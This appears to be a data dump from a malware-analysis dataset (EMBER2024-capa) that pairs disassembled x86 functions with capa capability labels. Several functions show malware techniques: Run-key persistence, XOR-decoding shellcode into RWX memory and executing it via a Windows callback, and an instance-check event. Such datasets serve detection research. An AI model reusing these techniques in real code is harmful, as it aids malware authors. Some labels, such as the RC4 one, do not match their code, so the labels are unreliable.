joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410990
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xec]
mov ecx, 0x3b
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov ecx, 0x477065
call fcn.004140c0
mov eax, 1
test eax, eax
je 0x410ada
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x4109ec
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call fcn.00410b10
jmp 0x410aee
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 8]
call fcn.00409dd0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
cmp dword [ebp + 0x10], 0
jl 0x410a80
jg 0x410a14
cmp dword [ebp + 0xc], 0
jbe 0x410a80
cmp dword [ebp - 0x24], 0
jl 0x410a80
jg 0x410a22
cmp dword [ebp - 0x28], 0
jbe 0x410a80
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 0x24]
jg 0x410a40
jl 0x410a34
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0x28]
jae 0x410a40
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
call fcn.0040da50
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040c860
add esp, 0xc
mov eax, dword [ebp - 0x28]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
sbb ecx, dword [ebp - 0x24]
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], ecx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
call fcn.0040d810
cmp dword [ebp + 0x10], 0
jl 0x410aca
jg 0x410a8e
cmp dword [ebp + 0xc], 0
jbe 0x410aca
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x410aca
mov ecx, dword [ebp - 8]
call fcn.0040b110
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.004204c0
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x14]
sbb edx, dword [ebp + 0x10]
jmp 0x410aee
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call fcn.00410b10
pop edi
pop esi
pop ebx
add esp, 0xec
cmp ebp, esp
call fcn.00414080
mov esp, ebp
pop ebp
ret 0xc
Function at 0x410ca0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xec]
mov ecx, 0x3b
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov ecx, 0x477065
call fcn.004140c0
mov eax, 1
test eax, eax
je 0x410de2
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x410cfc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call fcn.00410e10
jmp 0x410df6
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 8]
call fcn.0040b020
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
cmp dword [ebp + 0x10], 0
jl 0x410d90
jg 0x410d24
cmp dword [ebp + 0xc], 0
jbe 0x410d90
cmp dword [ebp - 0x24], 0
jl 0x410d90
jg 0x410d32
cmp dword [ebp - 0x28], 0
jbe 0x410d90
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 0x24]
jg 0x410d50
jl 0x410d44
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0x28]
jae 0x410d50
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 8]
call fcn.0040eda0
push eax
call fcn.0040c860
add esp, 0xc
mov eax, dword [ebp - 0x28]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
sbb ecx, dword [ebp - 0x24]
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], ecx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
call fcn.0040ed30
cmp dword [ebp + 0x10], 0
jl 0x410dd2
jg 0x410d9e
cmp dword [ebp + 0xc], 0
jbe 0x410dd2
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x410dd2
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.00421550
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x14]
sbb edx, dword [ebp + 0x10]
jmp 0x410df6
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call fcn.00410e10
pop edi
pop esi
pop ebx
add esp, 0xec
cmp ebp, esp
call fcn.00414080
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41ab20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.0041a700
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x41ab4c
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
call dword [0x455198]
call dword [ebp - 8]
jmp 0x41ab56
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret

Function at 0x43549d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp 0x454230
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x4754ac], 1
jge 0x45429f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x454275
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x454275
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x454252
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x45428b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x454292
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x45438f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x454360
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x454355
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x454349
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x454350
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x45438f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x45438a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x454373
mov eax, dword [ebx + 8]
jmp 0x45438f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x454381
xor eax, eax
jmp 0x45438f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x4542bf
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x437950
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
call fcn.004391d0
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x43798e
cmp dword [ebp + 8], 0
je 0x43797c
lea eax, [ebp + 8]
push eax
call fcn.00437b50
add esp, 4
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x43798e
mov eax, 4
jmp 0x437abe
call fcn.00438fd0
movzx edx, al
test edx, edx
jne 0x4379bc
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4379ad
mov dword [ebp - 0xc], 4
jmp 0x4379b4
mov dword [ebp - 0xc], 3
mov eax, dword [ebp - 0xc]
jmp 0x437abe
movzx eax, byte [ebp - 1]
test eax, eax
je 0x437a65
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
push 0
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0x437b00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
lea ecx, [ebp - 8]
call fcn.0041b2dc
lea ecx, [ebp - 8]
call fcn.00437b70
movzx edx, al
test edx, edx
jne 0x437a27
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 8]
call fcn.00434f14
mov eax, dword [ebp - 0x10]
jmp 0x437abe
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 8]
call fcn.0041ea80
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
test eax, eax
je 0x437a52
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 8]
call fcn.00434f14
mov eax, dword [ebp - 0x14]
jmp 0x437abe
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 8]
call fcn.00434f14
mov eax, dword [ebp - 0x18]
jmp 0x437abe
call fcn.00439120
movzx ecx, al
test ecx, ecx
jne 0x437a9e
mov edx, dword [ebp + 0x10]
or edx, 0x200000
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.00437ad0
add esp, 0x10
jmp 0x437abe
call fcn.00439030
mov dword [ebp - 0x24], eax
lea ecx, [ebp + 0x10]
push ecx
lea edx, [ebp + 0xc]
push edx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.00437ad0
add esp, 0x10
mov esp, ebp
pop ebp
ret

Function at 0x447e9b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00447a37
Function at 0x10015422
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001558f
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
push 2
mov ecx, dword [ebp - 8]
call fcn.10019727
add esi, dword [eax]
push 1
mov ecx, dword [ebp - 8]
call fcn.10019727
cmp esi, dword [eax]
jle 0x10015497
mov dword [ebp - 0x20], 1
jmp 0x1001549b
and dword [ebp - 0x20], 0
push 1
mov ecx, dword [ebp - 8]
call fcn.10019727
mov esi, eax
push 0
mov ecx, dword [ebp - 8]
call fcn.10019727
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x100154c0
mov dword [ebp - 0x18], 1
jmp 0x100154c4
and dword [ebp - 0x18], 0
push 2
mov ecx, dword [ebp - 8]
call fcn.10019727
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax]
jge 0x100154de
mov dword [ebp - 0x1c], 1
jmp 0x100154e2
and dword [ebp - 0x1c], 0
push 2
mov ecx, dword [ebp - 8]
call fcn.10019727
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1c]
je 0x100154fb
mov eax, dword [ebp - 0x2c]
cmp dword [eax], 0
je 0x10015513
push 1
mov ecx, dword [ebp - 8]
call fcn.10019727
cmp dword [eax], 0
je 0x10015513
mov dword [ebp - 0x24], 1
jmp 0x10015517
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
jle 0x10015528
mov dword [ebp - 0x28], 1
jmp 0x1001552c
and dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], 7
jbe 0x1001553b
mov dword [ebp - 0x14], 1
jmp 0x1001553f
and dword [ebp - 0x14], 0
push 2
mov ecx, dword [ebp - 8]
call fcn.10019727
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
cmp dword [ebp - 0x14], eax
jge 0x10015561
mov dword [ebp - 0x30], 1
jmp 0x10015565
and dword [ebp - 0x30], 0
cmp dword [ebp - 0x30], 1
jge 0x10015574
mov dword [ebp - 0x34], 1
jmp 0x10015578
and dword [ebp - 0x34], 0
mov esi, dword [ebp - 0x34]
add esi, 0xfffb
push 0
mov ecx, dword [ebp - 0x48]
call fcn.10019727
mov dword [eax], esi
jmp 0x100155d1
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [eax], 0xffffffff
jmp 0x100155b1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0xfffffffc
jne 0x100155d1
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100155cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
jmp 0x100155a6
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10034ad1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
push 0x442c
push 0x1655
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
call fcn.100349ee
add esp, 0x14
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10034b0b
xor eax, eax
jmp 0x10034c56
lea eax, [ebp - 0x10]
push eax
push 0x6ca
push 0x2881
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
push 0x7df3
push 1
call fcn.10034a4b
add esp, 0x1c
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x10034b42
xor eax, eax
jmp 0x10034c56
push 0x204e
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 8]
push 0x4061
call fcn.10034671
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x10034b6a
xor eax, eax
jmp 0x10034c56
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push 0x1602
push 1
push 0x3407
lea eax, [ebp - 0x24]
push eax
push 0x6b41
push dword [ebp - 8]
push 0x324e
push 0x5777
lea eax, [ebp - 4]
push eax
call fcn.100347a5
add esp, 0x2c
push 0x2db4
push 0
push dword [ebp + 8]
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.10030fa9
add esp, 0x14
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x10034bdf
push dword [ebp - 0x14]
push 0x16d3
push 0x6a9d
push 1
push dword [ebp - 4]
call fcn.1002f23b
add esp, 0x14
push dword [ebp - 4]
call fcn.10034557
pop ecx
test eax, eax
jne 0x10034bf0
xor eax, eax
jmp 0x10034c56
push dword [ebp - 4]
push 1
call fcn.1002b9dc
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x10034c3e
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x10034c1b
xor eax, eax
jmp 0x10034c56
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10034c34
xor eax, eax
jmp 0x10034c56
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x10034c4f
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x10034c53
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x10086b85
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1009160c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10076334
mov dword [ebp - 0x14], eax
cmp dword [0x1067edcc], esi
jne 0x10086c78
push 0x800
push esi
push 0x10007e5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x10086c05
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10086d58
push esi
push esi
push 0x10007e5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10086d58
push 0x10007e74
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10086d58
push eax
call ebx
push 0x10007e80
push edi
mov dword [0x1067edcc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007e90
push edi
mov dword [0x1067edd0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007ea4
push edi
mov dword [0x1067edd4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1067eddc], eax
test eax, eax
je 0x10086c75
push 0x10007ec0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1067edd8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10086c9d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10086c90
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10086cb2
push 4
pop eax
jmp 0x10086d5a
cmp dword [ebp - 0x14], esi
je 0x10086cb2
push dword [0x1067edcc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10086c97
mov eax, dword [0x1067edd8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x10086d10
cmp dword [0x1067eddc], edi
je 0x10086d10
push eax
call ebx
push dword [0x1067eddc]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10086d10
test eax, eax
je 0x10086d10
call ecx
test eax, eax
je 0x10086d05
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10086d05
test byte [ebp - 8], 1
jne 0x10086d10
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x10086d40
mov eax, dword [0x1067edd0]
cmp eax, edi
je 0x10086d3d
push eax
call ebx
test eax, eax
je 0x10086d3d
call eax
mov esi, eax
test esi, esi
je 0x10086d3d
mov eax, dword [0x1067edd4]
cmp eax, edi
je 0x10086d3d
push eax
call ebx
test eax, eax
je 0x10086d3d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1067edcc]
call ebx
test eax, eax
je 0x10086d58
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10086d5a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10073355
mov esp, ebp
pop ebp
ret
Function at 0x10001730
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
mov eax, dword [0x1003f098]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
push edi
push 0x104
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x5c
push ecx
call fcn.10008e20
add esp, 8
test eax, eax
je 0x10001774
mov byte [eax], 0
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x100017d6
lea eax, [esp + 8]
push eax
push ecx
push str.Path
push 0x10043198
call fcn.10005540
add esp, 0xc
push eax
call fcn.10005540
mov ecx, 0x10001690
add esp, 8
mov esi, eax
test ecx, ecx
jne 0x100017c6
push 0xbc
push str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCincludeostream
push str.invalid_null_pointer
call fcn.10023960
add esp, 0xc
push 0xa
mov ecx, esi
call fcn.10002890
mov edx, dword [esi]
mov eax, dword [edx + 4]
jmp 0x10001826
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
push str.Path_error
push 0x10043270
call fcn.10005540
add esp, 0xc
push eax
call fcn.100026b0
mov edx, 0x10001690
mov esi, eax
test edx, edx
jne 0x10001818
push 0xbc
push str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCincludeostream
push str.invalid_null_pointer
call fcn.10023960
add esp, 0xc
push 0xa
mov ecx, esi
call fcn.10002890
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x10001846
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10001846
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x10001867
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x1000185f
or eax, 4
push 0
push eax
call fcn.100014f0
mov ecx, dword [esp + 0x114]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.10006090
mov esp, ebp
pop ebp
ret
Function at 0x10001fb0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x1003f098]
xor eax, ebp
mov dword [ebp - 4], eax
xor edx, edx
mov eax, ebx
push esi
mov dword [ebp - 0x48], edx
lea esi, [eax + 1]
jmp 0x10001fd0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001fd0
push edi
sub eax, esi
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x44]
push eax
push 0xf003f
push edx
lea ecx, [ebp - 0x40]
push ecx
push 0x80000001
mov dword [ebp - 0x44], edx
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
test eax, eax
jne 0x10002067
mov edx, dword [str.AUDialog]
mov eax, dword [0x1003aae0]
mov cl, byte [0x1003aae4]
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x4c]
push edx
push ebx
push 1
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x10]
mov byte [ebp - 8], cl
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, 1
test eax, eax
je 0x1000204c
mov esi, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006090
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x48]
xor ecx, ebp
pop esi
call fcn.10006090
mov esp, ebp
pop ebp
ret

Function at 0x10002080
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1003f098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 0xa
mov esi, 0x1003aae8
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x30]
movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100020a8
sub eax, edx
xor edx, edx
mov esi, eax
xor ecx, ecx
jmp 0x100020c0
mov al, byte [ebp + edx - 0x30]
xor byte [ecx + 0x10040468], al
inc edx
cmp edx, esi
jle 0x100020d1
xor edx, edx
inc ecx
cmp ecx, 0x1c0f
jl 0x100020c0
push 0x40
push 0x3000
push 0x1c0f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10002114
push 0x1c0f
push 0x10040468
push esi
call fcn.1000d8a0
add esp, 0xc
push esi
push 0
push 0
push 0
call dword [sym.imp.CRYPT32.dll_CryptEnumOIDInfo]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10006090
mov esp, ebp
pop ebp
ret
Function at 0x10002470
Capabilities:
Create directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
push edi
jne 0x100024d5
push eax
push str.C:UsersPublicLibrariesDialogui
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.97a44843a0e4417
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
test eax, eax
je 0x100024a4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.97a44843a0e4417
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
sub esp, 0x20
mov eax, esp
mov dword [ebp + 0xc], esp
push eax
mov edi, 0x1003ab28
call fcn.10002a90
call fcn.10002130
add esp, 0x20
call fcn.10001730
mov eax, 1
pop edi
pop ebp
ret 0xc
Function at 0x10006090
Capabilities:
